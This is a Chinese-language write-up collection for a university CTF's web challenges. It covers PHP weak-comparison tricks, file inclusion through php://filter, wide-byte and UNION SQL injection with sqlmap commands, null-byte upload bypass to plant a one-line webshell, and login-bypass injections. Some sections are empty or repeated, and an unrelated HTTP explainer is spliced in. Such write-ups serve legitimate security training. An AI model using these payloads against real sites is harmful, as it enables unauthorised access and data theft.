1.簽到題(50)
直接查看網頁源碼
2.md5 collision(50)
源碼如下:
<?php $md51 = md5('QNKCDZO'); $a = @$_GET['a']; $md52 = @md5($a); if(isset($a)){ if ($a != 'QNKCDZO' && $md51 == $md52) { echo "nctf{*****************}"; } else { echo "false!!!"; }} else{echo "please input a";} ?>
1.$a不等於'QNKCDZO' 但$a的MD5等於'QNKCDZO'的MD5
這想想也是不可能的事,此中必有蹊蹺
2.觀察發現md5('QNKCDZO')='0e830400451993494058024219903391'
3.在php中==號為弱比較'0e'開頭剩下的全為數字不管數字是多少==恆成立
因為'0e***'==0
所以下一步的目的很明顯制造開頭為 ‘0e’ 的MD5字符串
1 淺談HTTP中Get與Post的區別 2 Http定義了與服務器交互的不同方法,最基本的方法有4種,分別是GET,POST,PUT,DELETE。URL全稱是資源描述符,我們可以這樣認為:
一個URL地址,它用於描述一個網絡上的資源,而HTTP中的GET,POST,PUT,DELETE就對應着對這個資源的查,改,增,刪4個操作。
到這里,大家應該有個大概的了解了,GET一般用於獲取/查詢資源信息,而POST一般用於更新資源信息。 3 4 表面現像上面看看GET和POST的區別: 5 6 1.GET請求的數據會附在URL之后(就是把數據放置在HTTP協議頭中),以?分割URL和傳輸數據,參數之間以&相連,
如:login.action?name=hyddd&password=idontknow&verify=%E4%BD%A0%E5%A5%BD。如果數據是英文字母/數字,原樣發送,如果是空格,轉換為+,
如果是中文/其他字符,則直接把字符串用BASE64加密,得出如:%E4%BD%A0%E5%A5%BD,其中%XX中的XX為該符號以16進制表示的ASCII。 7 8 POST把提交的數據則放置在是HTTP包的包體中。
0e開頭MD5值小結
這里將$a=aabg7XSs
http://chinalover.sinaapp.com/web19/?a=aabg7XSs
得到flag:nctf{md5_collision_is_easy}
3.簽到2(50)
網頁源碼如下:
<html>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
尚未登錄或口令錯誤<form action="./index.php" method="post">
<p>輸入框:<input type="password" value="" name="text1" maxlength="10"><br>
請輸入口令:zhimakaimen
<input type="submit" value="開門">
</form>
</html>
<p>輸入框:<input type="password" value="" name="text1" maxlength="10"><br> 請輸入口令:zhimakaimen 輸入的口令長度為11,而他html源碼限制的長度為10
處理方法有兩種:
1、利用FF瀏覽器自帶插件,我這里用的是Firefox的hackbar插件,直接越過HTML代碼直接進行post傳遞
2、利用burpsuit工具直接在http頭上稍作修改,只需將text1賦值為zhimakaimen即可
2.1、在FF瀏覽器中安裝Autoproxy,配置
配置FF瀏覽器代理
2.2、安裝Burp suite,配置proxy提供一個直觀、友好的用戶界面,他的代理服務器包含非常詳細的攔截規則,並能准確分析HTTP 消息的結構與內容。
現在我們可以再瀏覽器中輸入我們要檢查的網站。你會看到burp 套件工具,proxy 選項卡上會亮起紅色,表示它需要你的輸入。默認行為是攔截設置為ON,這意味着它捕獲的所有發送請求,然后要求用戶輸入,以決定是否數據包將被轉發或丟棄。你可以轉發,並觀看頁面載入目標網站。如果你嫌麻煩那你可以INTECEPTOR Off,只是手動抓取的網站,將捕獲的數據發送到“歷史記錄”選項卡,你可以手動檢查審查和測試。
2.3、打開Autoproxy“全局代理”模式。
在輸入框隨便輸入一串“qwqwqw”
將text1=qwqwqw改為text1=zhimakaimen
Burpsuite選擇Foward
出來FLAG
這題不是WEB(100)
打開之后有個貓的圖片
將貓圖片下載至桌面
用txt打開此文檔
最后為flag:nctf{photo_can_also_hid3_msg}
5.層層遞進(100)
看源碼,發現了個src="SO.html"
點進去看看,又是一個src="SO.html"
層層遞進估計就這意思吧,繼續點
在不知道點了幾次之后src="404.html"
點進去
<!-- <script src="./js/jquery-n.7.2.min.js"></script> <script src="./js/jquery-c.7.2.min.js"></script> <script src="./js/jquery-t.7.2.min.js"></script> <script src="./js/jquery-f.7.2.min.js"></script> <script src="./js/jquery-{.7.2.min.js"></script> <script src="./js/jquery-t.7.2.min.js"></script> <script src="./js/jquery-h.7.2.min.js"></script> <script src="./js/jquery-i.7.2.min.js"></script> <script src="./js/jquery-s.7.2.min.js"></script> <script src="./js/jquery-_.7.2.min.js"></script> <script src="./js/jquery-i.7.2.min.js"></script> <script src="./js/jquery-s.7.2.min.js"></script> <script src="./js/jquery-_.7.2.min.js"></script> <script src="./js/jquery-a.7.2.min.js"></script> <script src="./js/jquery-_.7.2.min.js"></script> <script src="./js/jquery-f.7.2.min.js"></script> <script src="./js/jquery-l.7.2.min.js"></script> <script src="./js/jquery-4.7.2.min.js"></script> <script src="./js/jquery-g.7.2.min.js"></script> <script src="./js/jquery-}.7.2.min.js"></script> -->
豎着看-后面的字符,就是flag。flag:nctf{this_is_a_fl4g}
6.AAencode(100)
7.單身二十年(100)
看源碼,有個<a href="./search_key.php">_到這里找key__</a>
點進去,flag就在里面~
8.你從哪里來(100)
9.php decode(100)
1 <?php 2 function CLsI($ZzvSWE) { 3 4 $ZzvSWE = gzinflate(base64_decode($ZzvSWE)); 5 6 for ($i = 0; $i < strlen($ZzvSWE); $i++) { 7 8 $ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1); 9 10 } 11 12 return $ZzvSWE; 13 14 }eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));?> 15 16 ==================== 17 改成 18 echo(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA==") 19 放在php里直接運行,得出結果 20 flag:nctf{gzip_base64_hhhhhh}
搭建PHPStudy
在D:\phpStudy\WWW 目錄創建620.php文件,打開下命令窗口(shift+左鍵),輸入php 620.php,運行
10.文件包含(150)
關於文件包含。題目提示是一個LFI的漏洞。訪問連接http://4.chinalover.sinaapp.com/web7/index.php?file=show.php這就是一個典型的文件包含的漏洞
遇到了這樣的文件包含漏洞,就可以使用filter的方式讀取php的源代碼了。用法如下:
http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
網頁返回的就是index.php的源代碼的base64編碼,解碼之后得到FLAG
先了解一下php://filter
php://filter 是一種元封裝器, 設計用於數據流打開時的篩選過濾應用。
同時我也借此機會學到了文件讀取的相關知識。
- include “test.php”php文件包含,在執行流中插入寫在其他文件中的有用的代碼。讀取的時候也是數據流形式,因此可以使用php://filter進行過濾,返回值為0,1。
- readfile(“test.php”)是將文件以數據流的形式讀取過來,並不會執行,但會在前台瀏覽器上進行解析。返回值是字節數多少。
-
file_get_contents(“test.php”)返回值為文本內容
此題運用的就是關於數據流過濾的文件包含,我們一般在進行文件包含的時候都這么寫include “test.php”獲得的就是test.php直接解析出來。但如果運用readfile(“test.php”) 就不進行解析,導致無法在瀏覽器前台進行顯示。那么問題來了看題
注解:
1.php://filter/可用於處理打開的數據流,起到過濾作用。如果源文件為.php則很有可能在前台顯示不出來。
2.此時我們采用的方法是,先讓文件轉化為base64格式(convert.base64-encode)然后再輸出,這樣不論是什么格式的文件都可以在前台輸出。
3.再次解碼就可得到源代碼。
11 .單身一百年也沒用(150)
直接查看請求頭
12 .Download~!(200)
查看頁面源碼:
“eGluZ3hpbmdkaWFuZGVuZy5tcDM=”解碼就是
xingxingdiandeng.mp3
看來文件名要經過base64加密
發現?url=前有一個download.php,是否能將這個php文件下載下來。
后面的url的參數的值就是對應的文件名。這姑且可以算作是一個簡單的文件包含了。url是可控的,我們將url的參數替換為download.php的base64編碼即可。
http://way.nuptzj.cn/web6/download.php?url=ZG93bmxvYWQucGhw
就可以將download.php下載下來。
通過查看download.php的源代碼,發現其中還存在一個hereiskey.php文件。使用同樣的方式查看hereiskey.php的源代碼就可以得到flag了。
13 .COOKIE(200)
通過題目就知道始於cookie有關的。通過Burpsuite抓包,發現在響應包中存在Set-Cookie: Login=0。根據這個暗示,只需要將cookie設置為Login=1就可以得到flag了。
14.MYSQL(200)
根據題目提示查看題目下面的robots.txt文件
http://chinalover.sinaapp.com/web11/robots.txt
別太開心,flag不在這,這個文件的用途你看完了? 在CTF比賽中,這個文件往往存放着提示信息 TIP:sql.php <?php if($_GET[id]) { mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); mysql_select_db(SAE_MYSQL_DB); $id = intval($_GET[id]); $query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'")); if ($_GET[id]==1024) { echo "<p>no! try again</p>"; } else{ echo($query[content]); } }
根據提示需要訪問sql.php,同時需要提供參數id。既然限制了直接輸入1024,說明要查的id很有可能就是1024.
這道題目的關鍵地方是在於intval()函數,將一個字符串轉換為int類型。那么就很簡單了。
http://chinalover.sinaapp.com/web11/sql.php?id=1024.3
得到FLAG
15.sql injection 3(200)
寬字節注入,http://www.2cto.com/article/201301/182881.html,可以看看,也可以自己各種百度,
不上圖了,直接上代碼:
爆庫id = %df' union select 1,database() %23
得到庫名 sae-chinalover
爆表id=%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() %23 爆表
得到表名 ctf,ctf2,ctf3,ctf4,news
暴字段ctf4表
id=%df' union select 1,group_concat(column_name) from information_schema.columns where table_name='ctf4' %23
因為寬字節,報錯
於是將ctf4進行十六進制編碼。0x63746634
%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634 %23
// 逐個嘗試表 ctf,ctf2,ctf3,ctf4,news,直到表ctf4(十六進制編碼0x63746634)
得到字段名 id,flag
暴內容 id=%df' union select 1,group_concat(id,flag) from ctf4 %23
得到flag
sqlmap.py -u http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df' -v 3 --dbms MYSQL --dbs
sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df'" --current-db \\獲取當前數據庫名稱
sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df'" --tables -D "sae-chinalover" \\獲取當前表名
sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df'" --columns -T "ctf2" -D "sae-chinalover" \\獲取字段
16./x00(200)
ereg()函數用指定的模式搜索一個字符串中指定的字符串,如果匹配成功返回true,否則,則返回false。搜索字母的字符是大小寫敏感的。
可選的輸入參數規則包含一個數組的所有匹配表達式,他們被正則表達式的括號分組。如果匹配成功返回true,否則,則返回false.
strpos(str1,str2):查找str2在str1的位置,如果找到返回True否則FALSE;
從代碼中我們知道,這道題目要求輸入getkey,但是這個值首先必須要是數字,然后這個值又必須含有givemeky這個字符串。這道題目需要用到ereg()函數的%00字符串截斷漏洞。具體就是當ereg讀取字符串string時,如果遇到了%00,后面的字符串就不會被解析。那么我們輸入的字符串為:getkey=1%00givemekey。這樣就可以繞過驗證,拿到key.
ereg()有兩個漏洞
- %00截斷及遇到%00則默認為字符串的結束
- 當ntf為數組時它的返回值不是FALSE
所以有兩個方法去攻這道題目
1.令id=1%00%23biubiubiu
2.令nctf為數組則,nctf[]=1
17.bypass again(200)
既要a!=b,又要md5(a)===md5(b)
做法和上一題一樣,傳數組讓md5()出錯,返回null,那么判斷的時候就是null===null
index.php?a[]=1&b[]=2
18.變量覆蓋(200)
總的來說是extract() 函數從數組中將變量導入到當前的符號表。
典型的變量覆蓋
那么只要post pass和thepassword_123(值要相等)覆蓋掉默認的thepassword_123的值,就可以得到flag了
if ($pass == $thepassword_123) { ?> 只需要覆蓋$pass、$thepassword_123這兩個變量使他們相等即可
19.PHP是世界上最好的語言(250)
打開index.txt
if(eregi("hackerDJ",$_GET[id])) //id與hackerDJ不能相同 $_GET[id] = urldecode($_GET[id]) //id又經歷了一次URL解碼 if($_GET[id] == "hackerDJ")//解碼后的id與hackerDJ相同 這下子好辦了兩次URL加密即可 ,只加密前一個字符 其實url編碼就是一個字符ascii碼的十六進制。 h的URL編碼為%68,在進行一次編碼后為%2568 則令id=%2568ackerDJ
eregi — 不區分大小寫的正則表達式匹配.那也就是說,不能使id=hackerDJ,但是又要經過urldecode()后== “hackerDJ”.那么我們可以把”hackerDJ”進行url編碼,再把編碼再次進行編碼.即(%25%36%38%25%36%31%25%36%33%25%36%62%25%36%35%25%37%32%25%34%34%25%34%61)
20.偽裝者(250)
21.Header(250)
直接看報頭
22.上傳繞過(250)
上傳一個1.jpg文件
必須是php文件才行啊!
然后就上傳1.php文件
然后報的提示是這樣的
只允許上傳 jpg,GIF ,png后綴的文件
這才意識到我要上傳.jpg的文件讓他識別為.php的文件,怎么才能做到呢???
看她的第一個錯誤提示它是怎么識別文件后綴的
它是根據./uploads目錄下的basename進行識別的
在我們上傳的時候會出現./uploads
命名規則是./uploads1.php & 1.jpg
在/uploads/后面加上1.php+(這里可以隨便加一個字符,比如“+”,“空格”)
進制,“+”改成“00”,這樣可以截斷.
0x00的意思為16進制00,所以講+對應的進制改成00(至於怎么找到對應代碼,看右邊對應代碼,找到第幾行,從左到右,每個字母對應一個代碼),改完直接go
上傳一句話木馬,命名 a.php+1.jpg
burp 抓包,send to repeater
在Repeater下改 Hex
將“+” 也就是2b改成00 (可以截斷)
23.SQL注入1(300)
1 <?php 2 if($_POST[user] && $_POST[pass]) { 3 mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); 4 mysql_select_db(SAE_MYSQL_DB); 5 $user = trim($_POST[user]); 6 $pass = md5(trim($_POST[pass])); 7 $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')"; 8 echo '</br>'.$sql; 9 $query = mysql_fetch_array(mysql_query($sql)); 10 if($query[user]=="admin") { 11 echo "<p>Logged in! flag:******************** </p>"; 12 } 13 if($query[user] != "admin") { 14 echo("<p>You are not admin!</p>"); 15 } 16 } 17 echo $query[user]; 18 ?>
這里trim起到過濾字符串兩端空格的作用
代碼的意思就是post user與pass,然后提交post的user必須是admin.但是密碼不知道,所以就得在$sql=這句想辦法繞過and (pw='".$pass."')
這段
所以構造的語句就是這樣
admin’)#.
驗證一下對不對.這時$sql就是
"select user from ctf where (user='admin')#."') and (pw='".$pass."')"
即
"select user from ctf where (user='admin')
24.pass check(300)
<?php $pass=@$_POST['pass']; $pass1=***********;//被隱藏起來的密碼 if(isset($pass)) { if(@!strcmp($pass,$pass1)){ echo "flag:nctf{*}"; }else{ echo "the pass is wrong!"; } }else{ echo "please input pass!"; } ?> //tip:strcmp(array,string)=null=0
strcmp()函數在PHP官方手冊中的描述是int strcmp ( string str1,stringstr2 ),需要給strcmp()傳遞2個string類型的參數。
如果str1小於str2,返回-1,相等返回0,否則返回1。
strcmp函數比較字符串的本質是將兩個變量轉換為ascii,然后進行減法運算,然后根據運算結果來決定返回值。
如果傳入給出strcmp()的參數是數字呢?
1 $array=[1,2,3]; 2 var_dump(strcmp($array,'123')); //null,在某種意義上null也就是相當於false。
1 <?php 2 function noother_says_correct($number) 3 { 4 $one = ord('1'); 5 $nine = ord('9'); 6 for ($i = 0; $i < strlen($number); $i++) 7 { 8 $digit = ord($number{$i}); 9 if ( ($digit >= $one) && ($digit <= $nine) ) 10 { 11 return false; 12 } 13 } 14 return $number == '54975581388'; 15 }
// 讓number == ‘54975581388’,並且number每個字符與’54975581388’都不同
// ord() 函數返回字符串的首個字符的 ASCII 值。
16 $flag='*******'; 17 if(noother_says_correct($_GET['key'])) 18 echo $flag; 19 else
20 echo 'access denied'; 21 ?>
//====================
當其中的一個字符串是0x開頭的時候,PHP會將此字符串解析成為十進制然后再進行比較。
54975581388==0xccccccccc
http://chinalover.sinaapp.com/web12/index.php?key=0xccccccccc
26.密碼重置(300)
點重置密碼
1 http://nctf.nuptzj.cn/web13/index.php?user1=%59%33%52%6D%64%58%4E%6C%63%67%3D%3D
// Load URL 3 http://nctf.nuptzj.cn/web13/index.php?user1=Y3RmdXNlcg==
//Y3RmdXNlcg== base64解碼就是 ctfuser
將admin 進行BASE64編碼 得到 YWRtaW4=
修改地址欄:
http://nctf.nuptzj.cn/web13/index.php?user1=YWRtaW4=
1 <meta http-equiv="content-type" content="text/html;charset=utf-8">
2 <head><title>密碼找回</title></head>
3 <form action="" method="post">
4 你的賬號:<input type="text" value="ctfuser" name="user" readonly="readonly"></br>
5 新密碼:<input type="password" name="newpass"></br>
6 驗證碼:1234<input type="text" name="vcode" size="4" maxlength="4"></br>
7 <input type="submit" value="重置">
8 </form>
9 </html>
也可以用Burp suite抓包,改包
27.php 反序列化(300)
無法訪問
28.sql injection 4(300)
1 'SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';'; 2 SELECT * FROM users WHERE name=\'$username\' AND pass=\'$password\'; 3
4 如果試圖注釋掉pass 5 SELECT * FROM users WHERE name=\'admin#\' AND pass=\'$password\'; 6 即 7 SELECT * FROM users WHERE name=\'admin 8 不可行(因為存在htmlentities()函數) 9
10 如果試圖插入or 1=1 11 那么應使 12 name=\'$username\' AND pass=\'(php中) 13 name='$username' AND pass='(sql中) 14 而$username后有個'會使得前面的'閉合,通過添加\可使原來的\'變為\\',使得轉義'失效(php中).即\'\\' AND pass=\'.即'\' AND pass='.此時name='\' AND pass='
15 那么$password就是or 1=1# 16 所以 17 post 的語句為?username=\&password=or 1=1%23
18 php中的語句為SELECT * FROM users WHERE name='\' AND pass='or 1=1#';
19 sql中的語句為SELECT * FROM users WHERE name='\' AND pass=' or 1=1
=====================
無法理解
29.綜合題(300)
點進去,在實驗室題目做過,是jsfuck(http://www.jsfuck.com/)
回去構造鏈接(http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/1bc29b36f623ba82aaf6724fd3b16718.php)
提示tip在腦袋(head)里,那看頭咯,返回包里有tip,提示history of bash
不知道什么玩意,百度咯,可以看看(http://blog.csdn.net/pan_tian/article/details/7715436)
用法就是http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/.bash_history
打開提示一個zip文件,下載就好了
http://teamxlc.sinaapp.com/web3/flagbak.zip
flag is:nctf{bash_history_means_what}
30.system 300
31.SQL注入2(400)
1 <?php 2 if($_POST[user] && $_POST[pass]) { 3 mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); 4 mysql_select_db(SAE_MYSQL_DB); 5 $user = $_POST[user]; 6 $pass = md5($_POST[pass]); 7 $query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'")); 8 if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) { 9 echo "<p>Logged in! Key: ntcf{**************} </p>"; 10 } 11 else { 12 echo("<p>Log in failure!</p>"); 13 } 14 } 15 ?>
//============================
我們從數據庫取出的pw要和我們輸入的pass經過md5()后相等.
由於不知道pw的值,所以就不能用where user=admin這個語句來取,所以這個where必須為假.
select pw from ctf where user=admin and 1=2 // user可以隨便輸入一個值
而又要取出pw,所以利用union可以這么構造
1 select pw from ctf where user=admin and 1=2 union select md5(1)
既然取出的pw是1的md5值,那么在提交pass的時候就為1
所以username=admin' and 1=2 union select md5(1)#
password=1
//========================
admin后的 ' 用來閉合where user=',
and 1=2 用來是查詢為假,使 select pw from php where user='' AND 0=1 這句話無用
union select 用來聯合查詢,
UNION SELECT "c4ca4238a0b923820dcc509a6f75849b" // md5(1)
直接 把MD5值作為返回值retuen給$sql,這樣在查詢的時候$query就會有值
最后的 # 用來注釋掉后面沒用的東西
payload:
user=32' union select 'c4ca4238a0b923820dcc509a6f75849b' %23&pass=1
32.綜合題2(400)
這是一個留言板,但不是用來xss的。更何況是綜合題,所以猜測可能是拿后台然后getshell的。
既然是拿后台,根據潛規則,必然有SQL注入。圖片最明顯的就是那個搜索功能。
翻看源碼,我們在58行看到了這樣一段代碼: 本CMS說明
。本地文件包含。好東西。目測可以用php流的filter讀源碼(事實證明其實並不需要filter,因為此處本來就是用來讀源碼的),然后分析注入過濾.
進入 “本CMS說明”
1 http://cms.nuptzj.cn/about.php?file=sm.txt
//此處可以知道這里有文件包含漏洞,各種更改file=xxxx收集下信息。
1 ===============================華麗的分割線=============================
2
3 本CMS由Funny公司開發的公司留言板系統,據本技術總監說,此CMS采用國際 4 頂級的技術所開發,安全性和實用性杠杠滴~</br> 5
6 以下是本CMS各文件的功能說明(由於程序猿偷懶,只列了部分文件) 7 config.php:存放數據庫信息,移植此CMS時要修改 8 index.php:主頁文件 9 passencode.php:Funny公司自寫密碼加密算法庫 10 say.php:用於接收和處理用戶留言請求 11 sm.txt:本CMS的說明文檔 12
13
14 sae的information_schema表好像沒法檢索,我在這里給出admin表結構 15 create table admin ( 16 id integer,
17 username text,
18 userpass text,
19 ) 20 ========================================================================
首先進行留言搜索。抓包分析數據被POST過去,發送到so.php。
直接訪問,發現對UA進行了限制。於是about.php?file=so.php包含一發,發現了不得了的東西:
1 if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){ 2 echo '萬惡滴黑闊,本功能只有用本公司開發的瀏覽器才可以用喔~'; 3 exit(); 4 } 5 $id=$_POST['soid']; 6 include 'config.php'; 7 include 'antiinject.php'; 8 include 'antixss.php'; 9 $id=antiinject($id); 10 $con = mysql_connect($db_address,$db_user,$db_pass) or die("不能連接到數據庫!!".mysql_error()); 11 mysql_select_db($db_name,$con); 12 $id=mysql_real_escape_string($id); 13 $result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id"); 14 $rs=mysql_fetch_array($result);
我們不妨仔細看看。首先要修改的是UA;然后,要利用的查詢語句在執行時有我們POST的參數id,但是id經過
antiinject.php的過濾,因此我們可以看一看antiinject.php是如何過濾的,然后繞過過濾進行注入。因此我們在包含一發antiinject.php
1 $keyword=array('select','union','and','from',' ',''',';',''','char','or','count','master','name','pass','admin','+','-','order','='); 2 $info=strtolower($content); 3 for($i=0;$i&lt;=count($keyword);$i++){ 4 $info=str_replace($keyword[$i], '',$info); 5 } 6 return $info;
28.sql injection 4(300)
strcmp()函數在PHP官方手冊中的描述是int strcmp ( string str1,stringstr2 ),需要給strcmp()傳遞2個string類型的參數。如果str1小於str2,返回-1,相等返回0,否則返回1。strcmp函數比較字符串的本質是將兩個變量轉換為ascii,然后進行減法運算,然后根據運算結果來決定返回值。
如果傳入給出strcmp()的參數是數字呢?
請使用手機"掃一掃"x